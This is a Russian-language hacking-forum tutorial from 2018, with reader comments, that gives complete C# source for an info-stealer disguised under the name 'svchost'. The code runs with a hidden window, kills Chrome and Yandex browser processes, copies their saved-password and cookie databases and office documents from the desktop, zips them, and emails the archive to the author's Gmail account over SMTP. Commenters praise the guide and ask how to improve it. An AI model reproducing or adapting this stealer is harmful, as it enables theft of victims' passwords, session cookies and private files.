Загрузка...
Авторская статья Пишем ****** за 400 рублей
  1. ginelow
    ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
    Всем привет, а вот и обещанная статья о том как написать свой полноценный *******.

    Вот спойлер, для тех кто не любит читать
    Код

    using System;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Net;
    using System.Threading.Tasks;
    using System.Net.Mail;
    using System.Collections.Generic;
    namespace svchost
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
    string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
    string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
    string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
    string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
    string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
    string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
    string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
    List<string> listFiles = new List<string>(); // пихаем их в этот список
    foreach (string i in files) // пихаем
    {
    string extens = Path.GetExtension(i);
    if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
    {
    listFiles.Add(i); // пихаем
    }
    }
    List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
    foreach(string i in listFiles)
    {
    names.Add(Path.GetFileName(i));
    }


    foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
    {
    i.Kill();
    }

    foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
    {
    i.Kill();
    }

    if (Directory.Exists(_path) == false) // проверка на наличие папки
    {
    DirectoryInfo dir = Directory.CreateDirectory(_path);
    }
    else
    {
    Directory.Delete(_path); // Удаление папки
    }
    for (int i = 0; i < listFiles.Count; i++ )
    {
    if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
    {
    File.Delete(Path.Combine(_path, names[i])); // удаление
    }
    File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
    }
    try
    {
    File.Copy(Login_Data_Chrome, _path); // достаем пароли
    File.Copy(Login_Data_Yandex, _path); // пароли
    File.Copy(Chrome, _path);// куки
    File.Copy(Yandex, _path);//куки
    }
    catch
    {
    /// Кукишь тебе а не куки!
    }
    string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
    using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
    {
    if (File.Exists(pathToLogs))
    {
    File.Delete(pathToLogs); // опять проверки, проверки, проверки
    }
    zip.AddDirectory(_path); // создаем архив
    zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
    zip.Save(Path.Combine(pathToLogs));
    }
    //отправка на почту
    MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
    // кому отправляем
    MailAddress to = new MailAddress("your_mail@gmail.com");
    // создаем объект сообщения
    MailMessage m = new MailMessage(from, to);
    // тема письма
    m.Subject = "Тест";
    // текст письма
    m.Body = "<h1>****</h1>";
    // письмо представляет код html
    m.IsBodyHtml = true;
    m.Attachments.Add(new Attachment(pathToLogs));
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль
    smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
    smtp.EnableSsl = true;
    smtp.Send(m);
    // вот и все


    }
    }
    }



    Итак, приступим!

    Что нам понадобиться:
    • Visual Studio 2013 и выше
    • Соединение с интернетом
    • Внимательность
    • Немножко прямые руки тоже не помешают

    Итак, создаем новый проект Windows Forms, переходим в свойства и выставляем следующие значения:
    • FormBorderStyle : None
    • Text : Оставляем пустоту
    • Enabled : False
    • ShowIcon : False
    • TopMost : False
    • TransparencyKey : Кликаем > система > control
    • CausesValidation : False
    • SizeGripStyle : Hide
    Теперь код:
    • Вначале нам понадобятся эти библиотеки :
    Код

    using System;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Net;
    using System.Threading.Tasks;
    using System.Net.Mail;
    using System.Collections.Generic;
    • Дальше обьявим пути до нужных нам файлов:
    Код

    namespace svchost
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
    string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
    string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
    string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
    string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
    string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
    string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
    string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола




    • Теперь отсеиваем, то что нам ненужно:
    Код

    List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
    foreach (string i in files) // пихаем
    {
    string extens = Path.GetExtension(i); // Делаем отсев по расширению
    if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
    {
    listFiles.Add(i); // пихаем
    }
    }
    List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
    foreach(string i in listFiles)
    {
    names.Add(Path.GetFileName(i));
    }

    • Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
    Код

    foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
    {
    i.Kill();
    }

    foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
    {
    i.Kill();
    }


    • Теперь создаем папку, куда мы скопируем все наши файлы

    Код

    if (Directory.Exists(_path) == false) // проверка на наличие папки
    {
    DirectoryInfo dir = Directory.CreateDirectory(_path);
    }
    else
    {
    Directory.Delete(_path); // Удаление папки
    }
    for (int i = 0; i < listFiles.Count; i++ )
    {
    if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
    {
    File.Delete(Path.Combine(_path, names[i])); // удаление
    }
    File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
    }
    try
    {
    File.Copy(Login_Data_Chrome, _path); // достаем пароли
    File.Copy(Login_Data_Yandex, _path); // пароли
    File.Copy(Chrome, _path);// куки
    File.Copy(Yandex, _path);//куки
    }
    catch
    {
    /// Кукишь тебе а не куки!
    }


    • Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске ****аем DotNetZip и устанавливаем его
    • Теперь создаем архив и архивируем нашу папку:
    Код

    string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
    using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
    {
    if (File.Exists(pathToLogs))
    {
    File.Delete(pathToLogs); // опять проверки, проверки, проверки
    }
    zip.AddDirectory(_path); // создаем архив
    zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
    zip.Save(Path.Combine(pathToLogs));
    }



    • И наконец-то отправляем этот архив себе на почту:
    Код

    MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
    // кому отправляем
    MailAddress to = new MailAddress("your_mail@gmail.com");
    // создаем объект сообщения
    MailMessage m = new MailMessage(from, to);
    // тема письма
    m.Subject = "Тест";
    // текст письма
    m.Body = "<h1>****</h1>";
    // письмо представляет код html
    m.IsBodyHtml = true;
    m.Attachments.Add(new Attachment(pathToLogs));
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль
    smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
    smtp.EnableSsl = true;
    smtp.Send(m);

    • Вот и все, также можете глянуть на мою прошлую статью(Кликабельно).
    #моястатья
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    11 апр 2018 Изменено

Комментарии

    1. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Комментировал все и вся, не понять будет сложно даже если постараться
       
    2. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      :)))
       
    3. ItzBenja
      ItzBenja 11 апр 2018 742 13 мар 2016
      Убери вкладку "поддержка" и "симпа" из-за этого могут не дать тебе авторку.
      Вроде гайд годный, но есть еще много других исходников, получше этого.
       
    4. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Оки
       
    5. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      убрал, спасибо что предупредил
       
    6. Dr_Lesbow
      Dr_Lesbow 11 апр 2018 Заблокирован(а) 380 22 окт 2017
      RaysMorgan Го авторку этому челу
       
    7. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      RaysMorgan дай ему выторку, статья хороша больно..
       
    8. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
    9. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      ^^
       
    10. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Для новичка и такой сойдет, главное, что своими ручками
       
    11. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Это всего лишь гайд
       
    12. Enemy1337_inactive106607
      Я так понимаю, что это на C# написано, так?
       
    13. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Да, ты угадал
       
    14. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      Ну гайд не плох, только какой фреймворк использован (конечно на десятке счас попрет любой) но все же нужно как то уточнить. А еще вопросик можна? Кинь братиш ссылочку на 2013 студию. У меня кажись проблемы с мозгом и найти никак не могу.
       
    15. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Ахах, в лс кину
       
    16. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Я не парился, по дефолту 4.5 вроде, но в студии можно поменять
       
    17. Brudagon
      Brudagon 11 апр 2018 444 7 дек 2017
      Еще один умный парень.
       
    18. Brudagon
      Brudagon 11 апр 2018 444 7 дек 2017
    19. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      агась, слушай я вот не пойму, для чего нужно браузеры закрывать, вот допустим не проще ли скопировать бд и тогда к ней подключаться?
       
Top